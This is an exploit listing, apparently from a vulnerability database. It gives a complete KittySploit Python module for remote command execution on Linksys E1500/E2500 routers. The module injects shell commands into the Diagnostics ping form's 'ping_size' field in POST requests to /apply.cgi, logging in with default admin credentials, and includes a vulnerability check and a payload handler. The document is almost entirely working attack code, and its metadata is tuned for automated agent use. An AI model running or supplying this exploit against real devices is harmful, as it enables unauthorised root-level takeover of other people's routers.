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Linksys E1500/E2500

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
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Remote command execution in Linksys E1500/E2500 via Diagnostics interface.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linksys E1500/E2500"""

import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Linksys E1500/E2500',
        'description': 'Module exploits remote command execution in Linksys E1500/E2500 devices. Diagnostics interface allows executing root privileged shell commands is available on dedicated web pages on the device.',
        'author': ['Michael Messner', 'Esteban Rodriguez (n00py)'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/24475/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    username = OptString("admin", "Username to login with")
    password = OptString("admin", "Password to login with")

    def execute(self, cmd):
        data = {
            "submit_button": "Diagnostics",
            "change_action": "gozila_cgi",
            "submit_type": "start_ping",
            "action": "",
            "commit": "0",
            "ping_ip": "127.0.0.1",
            "ping_size": "&" + cmd,
            "ping_times": "5",
            "traceroute_ip": "127.0.0.1"
        }

        self.http_request(
            method="POST",
            path="/apply.cgi",
            data=data,
            auth=(self.username, self.password)
        )

        return ""
    def check(self):
        mark = self.random_text(32)
        cmd = "echo {}".format(mark)
        data = {
            "submit_button":
            "Diagnostics",
            "change_action": "gozila_cgi",
            "submit_type": "start_ping",
            "action": "",
            "commit": "0",
            "ping_ip": "127.0.0.1",
            "ping_size": "&" + cmd,
            "ping_times": "5",
            "traceroute_ip": "127.0.0.1"
        }

        response = self.http_request(
            method="POST",
            path="/apply.cgi",
            data=data,
            auth=(self.username, self.password)
        )
        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

        if mark in response.text:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()

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